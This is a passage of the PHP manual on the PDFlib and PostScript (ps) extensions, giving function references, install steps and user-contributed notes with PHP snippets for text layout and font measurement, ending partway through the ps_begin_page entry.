bob at nijman dot de 02-Aug-2001 07:10
In the example given above we don't handle the overflow properly.
Try making the text shorter and see what happens.
Try making it longer too...
bob at nijman dot de 02-Aug-2001 07:05
Try this:

<?php

//Create & Open PDF-Object
$pdf = pdf_new();
pdf_open_file($pdf);
pdf_set_info($pdf, "Author","Bob Nijman");
pdf_begin_page($pdf, 300, 300);

pdf_set_font($pdf, "Helvetica", 10, "host");

//for most german will be as good as latin, no? :-)
$text = <<<EOD
Unsere Konzepte sind innovativ und kreativ.
Sie orientieren sich am Zeitgeist, ohne sich diesem auszuliefern.
So auch unsere Arbeitsweise.
Für verschiedene Arbeitsmodule werden freie Mitarbeiter herangezogen,
damit wir absolute Flexibilität behalten und messerscharf kalkulieren können.
Die volle Verantwortung liegt damit beim Projektleiter.
Er vergibt Arbeitsmodule, begutachtet deren Werdegang und letztendlich deren Zusammenwachsen.
EOD;

$nr = pdf_show_boxed($pdf, $text, 10.0, 180.0, 140.0, 100.0, "left");
$nr = pdf_show_boxed($pdf, substr($text, -$nr), 150.0, 180.0, 140.0, 100.0, "left");

//close it up
pdf_end_page($pdf);
pdf_close($pdf);
$data = pdf_get_buffer($pdf);
header('Content-type: application/pdf');
header('Content-disposition: inline; filename=myTest.pdf');
header('Content-length: ' . strlen($data));
echo $data;

?>
leea at digitus dot com dot au 30-Jan-2001 05:41
Here's a way to make a dynamic size text box for text coming from a database

<?php
$TextHeight = 10;
while ((pdf_show_boxed($pdf,$rstJobs["JobDetails"], 123, $varPosition, 308,$TextHeight,left,blind)) > 1) {
    $TextHeight = $TextHeight + 10;
}
?>

pdf_show_boxed ($pdf, $rstJobs["JobDetails"], 123, $varPosition - $TextHeight + 10, 308,$TextHeight,left);
You will need to change the value of 10 to your font size.

this may not be the best way to do this so if you find a better way add it here!
PDF_shfill
PDF_show_xy
PDF Functions


Output text at given position

PDF_show_boxed
PDF_show
PDF Functions
PHP Manual

PDF_show_xy

(PHP 4, PECL pdflib >= 1.0.0)

PDF_show_xy — Output text at given position

Description

bool PDF_show_xy ( resource $p , string $text , float $x , float $y )

Prints text in the current font. Returns TRUE on success or FALSE on failure.

User Contributed Notes

Christopher Jastram <cej at intech dot com> 11-Dec-2005 12:52
Here's a little function that creates a pdf_show_xy_right() function with exactly the same parameters as pdf_show_xy(), except that the third parameter now specifies the right-aligned edge position.

function pdf_show_xy_right(&$pdf, $text, $right, $bottom) {
    $fontname = pdf_get_parameter($pdf, "fontname", 0);
    $font = pdf_findfont($pdf, $fontname, "host", 0);
    $size = pdf_get_value($pdf, "fontsize", 0);
    $width = pdf_stringwidth($pdf, $text, $font, $size);
    pdf_show_xy($pdf, $text, $right-$width, $bottom);
}

Set your font name and size separately, just as you would with pdf_show_xy(), and then call this function like so:

pdf_show_xy_right($pdf, "Hello World", 50, 200);

The third parameter is the right edge, fourth parameter is the baseline.  You do NOT have to pass in the font and size!
sigve at NwOoSlPfArMaidah dot no 01-Oct-2004 07:21
Want to do right-to-left text with pdflib? Just pick the right margin, and send it as $x to this function.

<?php
function pdf_show_xy_backwards ($pdf, $text, $font, $size, $x, $y) {
    $currx = $x;
    for ($i = strlen($text); $i > 0; $i--) {
        $char = substr((string)$text, $i-1, 1);
        $width = pdf_stringwidth($pdf, (string)$char, $font, $size);
        $currx = $currx - $width;
        pdf_show_xy($pdf, (string)$char, $currx, $y);
    }
}
?>
DrPsycho at easynet dot be 06-Dec-2002 09:41
No, that's just because in PDF the origin is at the lower left corner
nid at home dot se 02-Oct-2002 02:26
When using PDFLib version 4.0.3 under PHP 4.2.1 on Windows the Y-position is reversed, which means, the Y is the number of pixels that should be visible BELOW the texts baseline.
PDF_show_boxed
PDF_show
PDF Functions


Output text at current position

PDF_show_xy
PDF_skew
PDF Functions
PHP Manual

PDF_show

(PHP 4, PECL pdflib >= 1.0.0)

PDF_show — Output text at current position

Description

bool PDF_show ( resource $pdfdoc , string $text )

Prints text in the current font and size at the current position. Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
PDF_show_xy
PDF_skew
PDF Functions


Skew the coordinate system

PDF_show
PDF_stringwidth
PDF Functions
PHP Manual

PDF_skew

(PHP 4, PECL pdflib >= 1.0.0)

PDF_skew — Skew the coordinate system

Description

bool PDF_skew ( resource $p , float $alpha , float $beta )

Skews the coordinate system in x and y direction by alpha and beta degrees. Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
PDF_show
PDF_stringwidth
PDF Functions


Return width of text

PDF_skew
PDF_stroke
PDF Functions
PHP Manual

PDF_stringwidth

(PHP 4, PECL pdflib >= 1.0.0)

PDF_stringwidth — Return width of text

Description

float PDF_stringwidth ( resource $p , string $text , int $font , float $fontsize )

Returns the width of text in an arbitrary font.

User Contributed Notes

rross at mNoOoSnPsAoMfvega dot com 10-Nov-2005 04:27
One thing I came across, and hope is useful to someone, is the following.
If you're looking to use the pdf_stringwidth() function, and expecting it to give you the proper results when trying to center or position the text, try to avoid using this line in your code:

<?
    pdf_set_parameter($pdf, "textformat", "utf8");
?>

I discovered (after much hair-pulling of what remains of my hair) that this line of code increases the amount of space between characters by roughly 100%.  Removing this line of code made the text on my generated PDF's significantly tighter and more appealing.
smilingrasta FROM gmx dot net 19-Jul-2005 09:42
With upgrading to PHP5, i had to switch to a newer version of pdflib (v6), where some functions slightly differ from the old version(v5).

The new parameters for this function are:
<?php float PDF_stringwidth(PDF *p, const char *text, int font, float size); ?>

pdf_stringwidth() does only take 2 parameters in the old version.
Now 5 parameters are required. As they aren't listed here, i thought i could do that :>

<?php
# first, we have to find the font, we are using
$fontID = pdf_findfont($pdf, 'Courier', 'host', 0);
# then we can call pdf_stringwidth
$width = pdf_stringwidth($pdf,$string, $fontID, $fontsize));
?>

Maybe that helps someone out.
farzal at hotmail dot com 26-Jul-2001 05:51
with font COURIER and fontsize of 12, you can print 10 CPI (Characters per inch) or 1 character every 7.2 points.

This means, on an A4 page of size (595,842), with a printable area of (451,662) after leaving 1" blank on each side, one can print 451/7.2 ~= 62 characters.

If one is building tables after quering databases, this is a way to figure out if you can print all your columns in a page, or if you need to use landscape, or if you need to reduce the font size.
PDF_skew
PDF_stroke
PDF Functions


Stroke path

PDF_stringwidth
PDF_suspend_page
PDF Functions
PHP Manual

PDF_stroke

(PHP 4, PECL pdflib >= 1.0.0)

PDF_stroke — Stroke path

Description

bool PDF_stroke ( resource $p )

Strokes the path with the current color and line width, and clear it. Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
PDF_stringwidth
PDF_suspend_page
PDF Functions


Suspend page

PDF_stroke
PDF_translate
PDF Functions
PHP Manual

PDF_suspend_page

(PECL pdflib >= 2.0.0)

PDF_suspend_page — Suspend page

Description

bool PDF_suspend_page ( resource $pdfdoc , string $optlist )

Suspends the current page so that it can later be resumed with PDF_resume_page().

User Contributed Notes

There are no user contributed notes for this page.
PDF_stroke
PDF_translate
PDF Functions


Set origin of coordinate system

PDF_suspend_page
PDF_utf16_to_utf8
PDF Functions
PHP Manual

PDF_translate

(PHP 4, PECL pdflib >= 1.0.0)

PDF_translate — Set origin of coordinate system

Description

bool PDF_translate ( resource $p , float $tx , float $ty )

Translates the origin of the coordinate system.

User Contributed Notes

php at mijav dot dk 14-Apr-2005 02:29
Note that this function does NOT eliminate the need for reverse-thinking when designing PDFs.

Origin 0, 0 is the lower left corner. This function only MOVES this origin (0,0) - it does not reverse the Y-axis as some people might belive and want (including myself).
david at mubo dot nl 27-Jul-2001 03:36
Not only this function is useful if you are tired of using the lowerleft side of the page, but it is also great if you need to rotate your page..

I have a project in which I need to rotate the page 180 due to calibration problems.. With this function I could reset the origin and the rest of the PDF worked just fine..

I also think that this function primarly has been mode for situations like these...

This function can also be used as a calibration feature, though I dont do it myself, I can think that it will work very nice if your whole document is out of calibration for lets say 1 mm..
hazelnutlatte at hotmail dot com 07-Jan-2001 02:13
This function is useful if you're tired of trying to deal with an axis that has a point of origin in the lower left-hand corner of the page.  Enjoy.
PDF_suspend_page
PDF_utf16_to_utf8
PDF Functions


Convert string from UTF-16 to UTF-8

PDF_translate
PDF_utf32_to_utf16
PDF Functions
PHP Manual

PDF_utf16_to_utf8

(PECL pdflib >= 2.0.3)

PDF_utf16_to_utf8 — Convert string from UTF-16 to UTF-8

Description

string PDF_utf16_to_utf8 ( resource $pdfdoc , string $utf16string )

Converts a string from UTF-16 format to UTF-8.

User Contributed Notes

There are no user contributed notes for this page.
PDF_translate
PDF_utf32_to_utf16
PDF Functions


Convert string from UTF-32 to UTF-16

PDF_utf16_to_utf8
PDF_utf8_to_utf16
PDF Functions
PHP Manual

PDF_utf32_to_utf16

(PECL pdflib >= Unknown future)

PDF_utf32_to_utf16 — Convert string from UTF-32 to UTF-16

Description

string PDF_utf32_to_utf16 ( resource $pdfdoc , string $utf32string , string $ordering )

Converts a string from UTF-32 format to UTF-16.

User Contributed Notes

There are no user contributed notes for this page.
PDF_utf16_to_utf8
PDF_utf8_to_utf16
PDF Functions


Convert string from UTF-8 to UTF-16

PDF_utf32_to_utf16
PS
PDF Functions
PHP Manual

PDF_utf8_to_utf16

(PECL pdflib >= 2.0.3)

PDF_utf8_to_utf16 — Convert string from UTF-8 to UTF-16

Description

string PDF_utf8_to_utf16 ( resource $pdfdoc , string $utf8string , string $ordering )

Converts a string from UTF-8 format to UTF-16.

User Contributed Notes

There are no user contributed notes for this page.
PDF_utf32_to_utf16
PS
PDF Functions


PostScript document creation

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • PS Functions
    • ps_add_bookmark — Add bookmark to current page
    • ps_add_launchlink — Adds link which launches file
    • ps_add_locallink — Adds link to a page in the same document
    • ps_add_note — Adds note to current page
    • ps_add_pdflink — Adds link to a page in a second pdf document
    • ps_add_weblink — Adds link to a web location
    • ps_arc — Draws an arc counterclockwise
    • ps_arcn — Draws an arc clockwise
    • ps_begin_page — Start a new page
    • ps_begin_pattern — Start a new pattern
    • ps_begin_template — Start a new template
    • ps_circle — Draws a circle
    • ps_clip — Clips drawing to current path
    • ps_close_image — Closes image and frees memory
    • ps_close — Closes a PostScript document
    • ps_closepath_stroke — Closes and strokes path
    • ps_closepath — Closes path
    • ps_continue_text — Continue text in next line
    • ps_curveto — Draws a curve
    • ps_delete — Deletes all resources of a PostScript document
    • ps_end_page — End a page
    • ps_end_pattern — End a pattern
    • ps_end_template — End a template
    • ps_fill_stroke — Fills and strokes the current path
    • ps_fill — Fills the current path
    • ps_findfont — Loads a font
    • ps_get_buffer — Fetches the full buffer containig the generated PS data
    • ps_get_parameter — Gets certain parameters
    • ps_get_value — Gets certain values
    • ps_hyphenate — Hyphenates a word
    • ps_include_file — Reads an external file with raw PostScript code
    • ps_lineto — Draws a line
    • ps_makespotcolor — Create spot color
    • ps_moveto — Sets current point
    • ps_new — Creates a new PostScript document object
    • ps_open_file — Opens a file for output
    • ps_open_image_file — Opens image from file
    • ps_open_image — Reads an image for later placement
    • ps_open_memory_image — Takes an GD image and returns an image for placement in a PS document
    • ps_place_image — Places image on the page
    • ps_rect — Draws a rectangle
    • ps_restore — Restore previously save context
    • ps_rotate — Sets rotation factor
    • ps_save — Save current context
    • ps_scale — Sets scaling factor
    • ps_set_border_color — Sets color of border for annotations
    • ps_set_border_dash — Sets length of dashes for border of annotations
    • ps_set_border_style — Sets border style of annotations
    • ps_set_info — Sets information fields of document
    • ps_set_parameter — Sets certain parameters
    • ps_set_text_pos — Sets position for text output
    • ps_set_value — Sets certain values
    • ps_setcolor — Sets current color
    • ps_setdash — Sets appearance of a dashed line
    • ps_setflat — Sets flatness
    • ps_setfont — Sets font to use for following output
    • ps_setgray — Sets gray value
    • ps_setlinecap — Sets appearance of line ends
    • ps_setlinejoin — Sets how contected lines are joined
    • ps_setlinewidth — Sets width of a line
    • ps_setmiterlimit — Sets the miter limit
    • ps_setoverprintmode — Sets overprint mode
    • ps_setpolydash — Sets appearance of a dashed line
    • ps_shading_pattern — Creates a pattern based on a shading
    • ps_shading — Creates a shading for later use
    • ps_shfill — Fills an area with a shading
    • ps_show_boxed — Output text in a box
    • ps_show_xy2 — Output text at position
    • ps_show_xy — Output text at given position
    • ps_show2 — Output a text at current position
    • ps_show — Output text
    • ps_string_geometry — Gets geometry of a string
    • ps_stringwidth — Gets width of a string
    • ps_stroke — Draws the current path
    • ps_symbol_name — Gets name of a glyph
    • ps_symbol_width — Gets width of a glyph
    • ps_symbol — Output a glyph
    • ps_translate — Sets translation

User Contributed Notes

There are no user contributed notes for this page.
PDF_utf8_to_utf16
Introduction
Non-Text MIME Output


Introduction

This module allows to create PostScript documents. It has many similarities with the pdf extension. Actually the API is almost identical and one can in many cases just replace the prefix of each function from pdf_ to ps_. This also works for functions which has no meaning in the PostScript document (like adding hyperlinks) but will have an effect if the document is converted to PDF.

Documents created by this extension are sometimes even superior to documents created with the pdf extension, because pslib's text rendering functions can handle kerning, hyphenation and ligatures which results in much better output of boxed text.

User Contributed Notes

There are no user contributed notes for this page.
PS
Installing/Configuring
PS


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
PS


Requirements

You need at least PHP 4.3.0 and pslib >= 0.1.12. The ps library (pslib) is available at » http://pslib.sourceforge.net/.

User Contributed Notes

There are no user contributed notes for this page.
Installing/Configuring
Installation
Installing/Configuring


Installation

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/ps.

A DLL for this PECL extension is currently unavailable. See also the building on Windows section.

User Contributed Notes

There are no user contributed notes for this page.
Requirements
Runtime Configuration
Installing/Configuring


Resource Types

This extension defines a PostScript document resource returned by ps_new().

User Contributed Notes

There are no user contributed notes for this page.
Runtime Configuration
Predefined Constants
Installing/Configuring


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

The following two tables lists all constants defined by the ps extension.

Contants for line caps
Name | Meaning
ps_LINECAP_BUTT |
ps_LINECAP_ROUND |
ps_LINECAP_SQUARED |
Contants for line joins
Name | Meaning
ps_LINEJOIN_MITER |
ps_LINEJOIN_ROUND |
ps_LINEJOIN_BEVEL |

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
PS Functions
PS


PS Functions

Contact Information

If you have comments, bugfixes, enhancements for either this extension or pslib then please drop me a mail » steinm@php.net. Any help is very welcome.

Table of Contents

  • ps_add_bookmark — Add bookmark to current page
  • ps_add_launchlink — Adds link which launches file
  • ps_add_locallink — Adds link to a page in the same document
  • ps_add_note — Adds note to current page
  • ps_add_pdflink — Adds link to a page in a second pdf document
  • ps_add_weblink — Adds link to a web location
  • ps_arc — Draws an arc counterclockwise
  • ps_arcn — Draws an arc clockwise
  • ps_begin_page — Start a new page
  • ps_begin_pattern — Start a new pattern
  • ps_begin_template — Start a new template
  • ps_circle — Draws a circle
  • ps_clip — Clips drawing to current path
  • ps_close_image — Closes image and frees memory
  • ps_close — Closes a PostScript document
  • ps_closepath_stroke — Closes and strokes path
  • ps_closepath — Closes path
  • ps_continue_text — Continue text in next line
  • ps_curveto — Draws a curve
  • ps_delete — Deletes all resources of a PostScript document
  • ps_end_page — End a page
  • ps_end_pattern — End a pattern
  • ps_end_template — End a template
  • ps_fill_stroke — Fills and strokes the current path
  • ps_fill — Fills the current path
  • ps_findfont — Loads a font
  • ps_get_buffer — Fetches the full buffer containig the generated PS data
  • ps_get_parameter — Gets certain parameters
  • ps_get_value — Gets certain values
  • ps_hyphenate — Hyphenates a word
  • ps_include_file — Reads an external file with raw PostScript code
  • ps_lineto — Draws a line
  • ps_makespotcolor — Create spot color
  • ps_moveto — Sets current point
  • ps_new — Creates a new PostScript document object
  • ps_open_file — Opens a file for output
  • ps_open_image_file — Opens image from file
  • ps_open_image — Reads an image for later placement
  • ps_open_memory_image — Takes an GD image and returns an image for placement in a PS document
  • ps_place_image — Places image on the page
  • ps_rect — Draws a rectangle
  • ps_restore — Restore previously save context
  • ps_rotate — Sets rotation factor
  • ps_save — Save current context
  • ps_scale — Sets scaling factor
  • ps_set_border_color — Sets color of border for annotations
  • ps_set_border_dash — Sets length of dashes for border of annotations
  • ps_set_border_style — Sets border style of annotations
  • ps_set_info — Sets information fields of document
  • ps_set_parameter — Sets certain parameters
  • ps_set_text_pos — Sets position for text output
  • ps_set_value — Sets certain values
  • ps_setcolor — Sets current color
  • ps_setdash — Sets appearance of a dashed line
  • ps_setflat — Sets flatness
  • ps_setfont — Sets font to use for following output
  • ps_setgray — Sets gray value
  • ps_setlinecap — Sets appearance of line ends
  • ps_setlinejoin — Sets how contected lines are joined
  • ps_setlinewidth — Sets width of a line
  • ps_setmiterlimit — Sets the miter limit
  • ps_setoverprintmode — Sets overprint mode
  • ps_setpolydash — Sets appearance of a dashed line
  • ps_shading_pattern — Creates a pattern based on a shading
  • ps_shading — Creates a shading for later use
  • ps_shfill — Fills an area with a shading
  • ps_show_boxed — Output text in a box
  • ps_show_xy2 — Output text at position
  • ps_show_xy — Output text at given position
  • ps_show2 — Output a text at current position
  • ps_show — Output text
  • ps_string_geometry — Gets geometry of a string
  • ps_stringwidth — Gets width of a string
  • ps_stroke — Draws the current path
  • ps_symbol_name — Gets name of a glyph
  • ps_symbol_width — Gets width of a glyph
  • ps_symbol — Output a glyph
  • ps_translate — Sets translation

User Contributed Notes

mattwheaton at hotmail dot com 18-Aug-2006 11:28
I also was not able to install ps using PEAR. Here are the steps I took to getting it installed:

1. you may need to install the perl module XML::Parser (http://search.cpan.org/~msergeant/XML-Parser/Parser.pm) to get pslib to install
2. install pslib (http://pslib.sourceforge.net/)
3. install ps (http://pecl.php.net/package/ps) using the instructions from (http://www.php.net/manual/en/install.pecl.phpize.php)
4. copy the ps.so file created by to the php extensions directory (not automatically done)
5. edit php.ini to include the ps extension (not automatically done)

If you are running FreeBSD, this link may help you with problems installing pslib (http://www.freebsd.org/cgi/query-pr.cgi?pr=84406).

Note that pslib (the library) and ps (the php extension) are not the same.
billy dot diehl at us dot army dot mil 30-May-2006 03:19
OK, OK, the previous note helped get me started, but really, it took me most of the day to figure out how to get this "pear install ps" to work. At first, it seemed geared for PHP4. Hopefully, I can save someone the day I just spent. (Don't get me wrong, I learned something new).

If the above statement doesn't work try this because it worked for me using PHP5 and Apache.

1. Forget the "pear install ps", it doesn't work. Whoever wrote that should get punched.
2. Make sure you've got PHP5 and Apache working as you like.
3. Go to http://pecl.php.net/package/ps and download the latest release.
4. Decompress the contents into its own directory somewhere.
5. Read http://www.php.net/manual/en/install.pecl.phpize.php which tells you what to do with what you just decompressed.
6. Move the final result (a shared object file) into the directory specified by your php.ini file's "extension_dir".
7. Create an entry in you php.ini (along with other similar statements that should already be there) that says "extension=ps.so"
8. For giggles, restart apache

Worked for me, hope it works for you...
norbert at hipersonik dot com 15-Nov-2005 04:30
For everybody who is frustrated by the not working of 'pear install ps' command under most likely SuSE, at www.hipersonik.com/php_ps_pslib.html is a possible way to get it working. It is also possible to use these instructions under other distributions.
If 'pear install ps' works fine from the start (pslib etc is installed), but ps does not work yet, use dl('ps.so'); This will save you a lot of time.
Predefined Constants
ps_add_bookmark
PS


Add bookmark to current page

PS Functions
ps_add_launchlink
PS Functions
PHP Manual

ps_add_bookmark

(PECL ps >= 1.1.0)

ps_add_bookmark — Add bookmark to current page

Description

int ps_add_bookmark ( resource $psdoc , string $text [, int $parent = 0 [, int $open = 0 ]] )

Adds a bookmark for the current page. Bookmarks usually appear in PDF-Viewers left of the page in a hierarchical tree. Clicking on a bookmark will jump to the given page.

The note will not be visible if the document is printed or viewed but it will show up if the document is converted to pdf by either Acrobat Distiller™ or Ghostview.

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

text

The text used for displaying the bookmark.

parent

A bookmark previously created by this function which is used as the parent of the new bookmark.

open

If open is unequal to zero the bookmark will be shown open by the pdf viewer.

Return Values

The returned value is a reference for the bookmark. It is only used if the bookmark shall be used as a parent. The value is greater zero if the function succeeds. In case of an error zero will be returned.

See Also

  • ps_add_launchlink() - Adds link which launches file
  • ps_add_pdflink() - Adds link to a page in a second pdf document
  • ps_add_weblink() - Adds link to a web location

User Contributed Notes

There are no user contributed notes for this page.
PS Functions
ps_add_launchlink
PS Functions


Adds link which launches file

ps_add_bookmark
ps_add_locallink
PS Functions
PHP Manual

ps_add_launchlink

(PECL ps >= 1.1.0)

ps_add_launchlink — Adds link which launches file

Description

bool ps_add_launchlink ( resource $psdoc , float $llx , float $lly , float $urx , float $ury , string $filename )

Places a hyperlink at the given position pointing to a file program which is being started when clicked on. The hyperlink's source position is a rectangle with its lower left corner at (llx, lly) and its upper right corner at (urx, ury). The rectangle has by default a thin blue border.

The note will not be visible if the document is printed or viewed but it will show up if the document is converted to pdf by either Acrobat Distiller™ or Ghostview.

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

llx

The x-coordinate of the lower left corner.

lly

The y-coordinate of the lower left corner.

urx

The x-coordinate of the upper right corner.

ury

The y-coordinate of the upper right corner.

filename

The path of the program to be started, when the link is clicked on.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ps_add_locallink() - Adds link to a page in the same document
  • ps_add_pdflink() - Adds link to a page in a second pdf document
  • ps_add_weblink() - Adds link to a web location

User Contributed Notes

There are no user contributed notes for this page.
ps_add_bookmark
ps_add_locallink
PS Functions


Adds link to a page in the same document

ps_add_launchlink
ps_add_note
PS Functions
PHP Manual

ps_add_locallink

(PECL ps >= 1.1.0)

ps_add_locallink — Adds link to a page in the same document

Description

bool ps_add_locallink ( resource $psdoc , float $llx , float $lly , float $urx , float $ury , int $page , string $dest )

Places a hyperlink at the given position pointing to a page in the same document. Clicking on the link will jump to the given page. The first page in a document has number 1.

The hyperlink's source position is a rectangle with its lower left corner at (llx, lly) and its upper right corner at (urx, ury). The rectangle has by default a thin blue border.

The note will not be visible if the document is printed or viewed but it will show up if the document is converted to pdf by either Acrobat Distiller™ or Ghostview.

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

llx

The x-coordinate of the lower left corner.

lly

The y-coordinate of the lower left corner.

urx

The x-coordinate of the upper right corner.

ury

The y-coordinate of the upper right corner.

page

The number of the page displayed when clicking on the link.

dest

The parameter dest determines how the document is being viewed. It can be fitpage, fitwidth, fitheight, or fitbbox.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ps_add_launchlink() - Adds link which launches file
  • ps_add_pdflink() - Adds link to a page in a second pdf document
  • ps_add_weblink() - Adds link to a web location

User Contributed Notes

There are no user contributed notes for this page.
ps_add_launchlink
ps_add_note
PS Functions


Adds note to current page

ps_add_locallink
ps_add_pdflink
PS Functions
PHP Manual

ps_add_note

(PECL ps >= 1.1.0)

ps_add_note — Adds note to current page

Description

bool ps_add_note ( resource $psdoc , float $llx , float $lly , float $urx , float $ury , string $contents , string $title , string $icon , int $open )

Adds a note at a certain position on the page. Notes are like little rectangular sheets with text on it, which can be placed anywhere on a page. They are shown either folded or unfolded. If folded, the specified icon is used as a placeholder.

The note will not be visible if the document is printed or viewed but it will show up if the document is converted to pdf by either Acrobat Distiller™ or Ghostview.

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

llx

The x-coordinate of the lower left corner.

lly

The y-coordinate of the lower left corner.

urx

The x-coordinate of the upper right corner.

ury

The y-coordinate of the upper right corner.

contents

The text of the note.

title

The title of the note as displayed in the header of the note.

icon

The icon shown if the note is folded. This parameter can be set to comment, insert, note, paragraph, newparagraph, key, or help.

open

If open is unequal to zero the note will be shown unfolded after opening the document with a pdf viewer.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ps_add_pdflink() - Adds link to a page in a second pdf document
  • ps_add_launchlink() - Adds link which launches file
  • ps_add_locallink() - Adds link to a page in the same document
  • ps_add_weblink() - Adds link to a web location

User Contributed Notes

There are no user contributed notes for this page.
ps_add_locallink
ps_add_pdflink
PS Functions


Adds link to a page in a second pdf document

ps_add_note
ps_add_weblink
PS Functions
PHP Manual

ps_add_pdflink

(PECL ps >= 1.1.0)

ps_add_pdflink — Adds link to a page in a second pdf document

Description

bool ps_add_pdflink ( resource $psdoc , float $llx , float $lly , float $urx , float $ury , string $filename , int $page , string $dest )

Places a hyperlink at the given position pointing to a second pdf document. Clicking on the link will branch to the document at the given page. The first page in a document has number 1.

The hyperlink's source position is a rectangle with its lower left corner at (llx, lly) and its upper right corner at (urx, ury). The rectangle has by default a thin blue border.

The note will not be visible if the document is printed or viewed but it will show up if the document is converted to pdf by either Acrobat Distiller™ or Ghostview.

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

llx

The x-coordinate of the lower left corner.

lly

The y-coordinate of the lower left corner.

urx

The x-coordinate of the upper right corner.

ury

The y-coordinate of the upper right corner.

filename

The name of the pdf document to be opened when clicking on this link.

page

The page number of the destination pdf document

dest

The parameter dest determines how the document is being viewed. It can be fitpage, fitwidth, fitheight, or fitbbox.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ps_add_launchlink() - Adds link which launches file
  • ps_add_locallink() - Adds link to a page in the same document
  • ps_add_weblink() - Adds link to a web location

User Contributed Notes

There are no user contributed notes for this page.
ps_add_note
ps_add_weblink
PS Functions


Adds link to a web location

ps_add_pdflink
ps_arc
PS Functions
PHP Manual

ps_add_weblink

(PECL ps >= 1.1.0)

ps_add_weblink — Adds link to a web location

Description

bool ps_add_weblink ( resource $psdoc , float $llx , float $lly , float $urx , float $ury , string $url )

Places a hyperlink at the given position pointing to a web page. The hyperlink's source position is a rectangle with its lower left corner at (llx, lly) and its upper right corner at (urx, ury). The rectangle has by default a thin blue border.

The note will not be visible if the document is printed or viewed but it will show up if the document is converted to pdf by either Acrobat Distiller™ or Ghostview.

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

llx

The x-coordinate of the lower left corner.

lly

The y-coordinate of the lower left corner.

urx

The x-coordinate of the upper right corner.

ury

The y-coordinate of the upper right corner.

url

The url of the hyperlink to be opened when clicking on this link, e.g. http://www.php.net.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ps_add_launchlink() - Adds link which launches file
  • ps_add_locallink() - Adds link to a page in the same document
  • ps_add_pdflink() - Adds link to a page in a second pdf document

User Contributed Notes

There are no user contributed notes for this page.
ps_add_pdflink
ps_arc
PS Functions


Draws an arc counterclockwise

ps_add_weblink
ps_arcn
PS Functions
PHP Manual

ps_arc

(PECL ps >= 1.1.0)

ps_arc — Draws an arc counterclockwise

Description

bool ps_arc ( resource $psdoc , float $x , float $y , float $radius , float $alpha , float $beta )

Draws a portion of a circle with at middle point at (x, y). The arc starts at an angle of alpha and ends at an angle of beta. It is drawn counterclockwise (use ps_arcn() to draw clockwise). The subpath added to the current path starts on the arc at angle alpha and ends on the arc at angle beta.

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

x

The x-coordinate of the circle's middle point.

y

The y-coordinate of the circle's middle point.

radius

The radius of the circle

alpha

The start angle given in degrees.

beta

The end angle given in degrees.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ps_arcn() - Draws an arc clockwise

User Contributed Notes

There are no user contributed notes for this page.
ps_add_weblink
ps_arcn
PS Functions


Draws an arc clockwise

ps_arc
ps_begin_page
PS Functions
PHP Manual

ps_arcn

(PECL ps >= 1.1.0)

ps_arcn — Draws an arc clockwise

Description

bool ps_arcn ( resource $psdoc , float $x , float $y , float $radius , float $alpha , float $beta )

Draws a portion of a circle with at middle point at (x, y). The arc starts at an angle of alpha and ends at an angle of beta. It is drawn clockwise (use ps_arc() to draw counterclockwise). The subpath added to the current path starts on the arc at angle beta and ends on the arc at angle alpha.

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

x

The x-coordinate of the circle's middle point.

y

The y-coordinate of the circle's middle point.

radius

The radius of the circle

alpha

The starting angle given in degrees.

beta

The end angle given in degrees.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ps_arc() - Draws an arc counterclockwise

User Contributed Notes

There are no user contributed notes for this page.
ps_arc
ps_begin_page
PS Functions


Start a new page

ps_arcn
ps_begin_pattern
PS Functions
PHP Manual

ps_begin_page

(PECL ps >= 1.1.0)

ps_begin_page — Start a new page

Description

bool ps_begin_page ( resource $psdoc , float $width , float $height )

Starts a new page. Although the parameters width and height imply a different page size for each page, this is not possible in PostScript. The first call of ps_begin_page() will set the page size for the whole document. Consecutive calls will have no effect, except for creating a new page. The situation is different if you intent to convert the PostScript document into PDF. This function places pdfmarks into the document which can set the size for each page indiviually. The resulting PDF document will have different page sizes.

Though PostScript does not know different page sizes, pslib places a bounding box for each page into the document. This size is evaluated by some PostScript viewers and will have precedence over the BoundingBox in the Header of the document. This can lead to unexpected results when you set a BoundingBox whose lower left corner is not (0, 0), because the bounding box of the page will always have a lower left corner (0, 0) and overwrites the global setting.

Each page is encapsulated into save/restore. This means, that most of the settings made on one page will not be retained on the next page.

If there is up to the first call of ps_begin_page() no call of ps_findfont(), then the header of the PostScript document will be output and the bounding box will be set to the size of the first page. The lower left corner of the bounding box is set to (0, 0). If ps_findfont() was called before, then the header has been output already, and the document will not have a valid bounding box. In order to prevent this, one should call ps_set_info() to set the info field BoundingBox and possibly Orientation before any ps_findfont() or ps_begin_page() calls.

Note:

Up to version 0.2.6 of pslib, this function will always overwrite the BoundingBox and Orientation, if it has been set before with ps_set_info() and ps_findfont() has not been called before.

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

width

The width of the page in pixel, e.g. 596 for A4 format.

height

The height of the page in pixel, e.g. 842 for A4 format.

Return Values

